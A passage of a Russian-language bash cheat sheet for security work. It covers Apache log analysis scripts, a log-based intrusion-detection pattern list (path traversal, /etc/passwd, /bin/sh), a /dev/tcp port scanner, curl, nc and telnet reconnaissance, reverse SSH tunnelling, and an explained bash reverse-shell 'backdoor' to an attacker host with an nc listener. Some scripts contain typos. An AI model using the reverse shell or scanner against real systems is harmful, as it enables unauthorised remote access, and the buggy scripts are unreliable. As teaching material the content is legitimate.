возвращаемый веб-сервер 8 3380 Размер возвращаемого файла в байтах 9 - Ссылающаяся страница 10 Mozilla/5.0 Браузер Коды: 200 - OK - Хорошо 401 - Unauthorized - Не авторизован \ не предоставляется 404 - Page Not Found - Страница не найдена 500 - Internal Server Error - Внутренняя ошибка сервера 502 - Bad Gateway - Плохой, ошибочный шлюз Ссылки: https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml https://httpd.apache.org/docs/2.4/logs.html cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15 Подсчет количества обращений к данным: cat countem.sh #!/bin/bash - # # Описание: # Подсчет количества экземпляров элемента с помощью bash # Использование: # countem.sh < inputfile declare -A cnt # ассоциативный массив while read id xtra do let cnt[$id]++ done # вывести то, что мы подсчитали # для каждого ключа в ассоциативном массиве в виде (ключ, значение) for id in "${!cnt[@]}" do printf '%d %s\n' "${cnt[$id]}" "$id" done Пример countem.awk: # countem.awk # Описание: # Подсчет количество экземпляров элемента с помощью команды awk # Использование: # countem.awk < inputfile awk '{ cnt[$1]++ } END {for (id in cnt) { printf "%d %s\n", cnt[id], id } }' Оба сценария хорошо будут работать в конвейере: cut -d' ' -f1 logfile | bash countem.sh bash countem.sh < logfile awk '$9 == 404 {print $1}' access.log | bash countem.sh cut -d' ' -f1 access.log | bash countem.sh | sort -rn P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux cut -d' ' -f1 access.log | sort | unic -c | sort -rn cut -d' ' -f1 access.log | sort -urn Суммирование чисел и данных: cat summer.sh #!/bin/bash - # # Описание: # Суммировать итоговое значение поля 2 для каждого уникального поля 1 # Использование: ./summer.sh # Формат ввода: <name> <number> declare -A cnt # ассоциативный массив while read id count do let cnt[$id]+=$count done for id in "${!cnt[@]}" do printf "%-15s %8d\n" "${id}" "${cnt[${id}]}" done Использование: cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn |
Скрипт отображение данных в виде гистограммы:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
histogram.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./historgram.sh # Формата ввода: label value function pr_bar() { local -i i raw maxraw scaled raw=$1 maxraw=$2 ((scaled=(MAXBAR*raw)/maxraw)) # гарантированный минимальный размер ((raw > 0 && scaled ==0)) && scaled=1 for((i=0; i<scaled;i++)) ; do printf '#' ; done printf '\n' } # pr_bar # # "main" # declare -A RA declare -i MAXBAR max max=0 MAXBAR=50 # размер самой длинной строки while read labl val do let RA[$lab]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val done # масштабировать и вести for labl in "${!RA[@]}" do printf '%-20.20s ' "$labl" pr_bar ${RA[$labl]} $max done Пример: cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh |
Скрипт отображение данных в виде гистограммы для старых систем и macos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
histogram_plain.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./histogram_plain # Формата ввода: label value declare -a RA_key RA_val declare -i max ndx max=0 maxbar=50 ndx=0 while read labl val do RA_key[$ndx]=$labl RA_value[$ndx]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val let ndx++ done # масштабировать и вывести for ((j=0; j<ndx; j++)) do printf "%-20.20s " ${RA_key[$j]} pr_bar ${RA_value[$j]} $max done Примеры использования: cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh cut -d' ' -f4,10 access.log cut -d' ' -f4,10 access.log | cut -c2- cut -d' ' -f4,10 access.log | tr -d '[' awk '$4 ~ 12/Nov/2017' {print $0} access.log | cut -d' ' -f4,10 | cut -c14-15,22- | bash summer.sh | bash histogram.sh |
Мониторинг журналов в режиме реального времени:
|
1 2 3 4 5 6 |
tail -f /var/log/apache2/access.log tail -f /var/log/apache2/access.log | grep '10.0.0.152' tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404' cd /var/log/apache2/ tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7 |
Обнаружение вторжения с помощью журнала apache2:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
cat > ioc.txt << "EOF" \.\./ etc/passwd etc/shadow cmd\.exe /bin/sh /bin/bash EOF ../ -злоумышленник пытается выйти из текущего каталога рабочего каталога /etc/passwd и другие - пытается получить доступ к паролям системы /sh и другое - пытается вызвать программу tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt |
Сканер портов:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
cat > scan.sh << "EOF" #!/bin/bash - # Описание: # Сканирование порта указанного хоста # Использование: # ./scan.sh <output file> # <output file> - файл, куда сохраняется результат # ./scan.sh save.log # 192.168.0.1 - вводим адрес # ctrl + c # cat save.log function scan() { host=$1 printf '%s' "$host" for ((port=1;port<1024;port++)) do echo >/dev/null 2>&1 < /dev/tcp/${host}/${port} if (($? == 0)) ; then printf ' %d' "${port}" ; fi done echo # или вывести '\n' } # основной цикл printf -v TODAY 'scan_%(%F)T' -1 # например scan_2025-12-30 OUTFILE=${1:-$TODAY} while read HOSTNAME do scan $HOSTNAME done > $OUTFILE EOF |
Сравнение файлов:
|
1 2 3 4 5 6 7 |
sdiff - сравнивает два файла -a - рассматривать все файлы как текстовые -i - игнорировать регистр -s - удалять общие строки для двух файлов -w - определить максимальное кол-во символов для вывода в троке sdiff -s file1.txt file2.txt |
curl:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
curl -A - для отправки на сервер указать строку агента пользователя HTTP -d - данные для отправки с запросом HTTP POST -G - использовать для отправки данных запрос HTTP GET, а не POST -I - получить только заголовок протокола (HTTP, FTP) -L - следовать за пере направлениями -s - не показывать индикатор выполнения или сообщения об ошибках curl https://google.com Проверка сокращенной ссылки: curl -ILs http://bitly.com/1k5eYPw | grep '^Location:' |
xxd :
|
1 2 3 4 5 6 |
xdd - выводит на экран в двоичном или шестнадцатеричном формате -b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата -l - вывести кол-во байт двоичного или шестнадцатеричного файла -s - начать печать с позиции байта n xdd -s 35 -l 50 somefile.txt |
Разведка:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
Просмотр вебсервера: ftp -n - запретить авто вход на сервер ftp -n 192.168.0.15 ftp 192.168.0.15 ftp 192.168.0.15 60 Просмотр веб сайта: curl -L -o output.html https://www.oreilly.com curl -LI https://www.oreilly.com curl -LIs https://www.oreilly.com | grep '200 OK' Копирование сайта себе: wget -p -m -k -P ./mirror https://digadel.com Самый простой способ перехватить баннер с SMTP сервера: telnet 192.168.0.15 25 |
nc :
|
1 2 3 4 5 6 7 8 9 10 11 |
nc -l - прослушивать входящие подключения -n - запретить выполнение поиска dns -p - задать исходный порт для подключения и прослушивания -v - установить подробный режим Подключение: nc www.oreilly.com 80 Прослушивания: nc -l -v -n -p 8080 |
Обратный SSH :
|
1 2 |
ssh -R 12345:localhost:22 user@remoteip ssh localhost -p 12345 |
Бэкдор баш:
|
1 2 3 4 5 6 7 8 9 10 11 |
/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0 Здесь: /bin/bash -i - интерактивный режим баша < /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15, порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш. 1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного потока ввода (stdin)(дескриптор файла 0) В системе злоумышленника должен слушаться порт 8080 nc -l -v -p 8080 |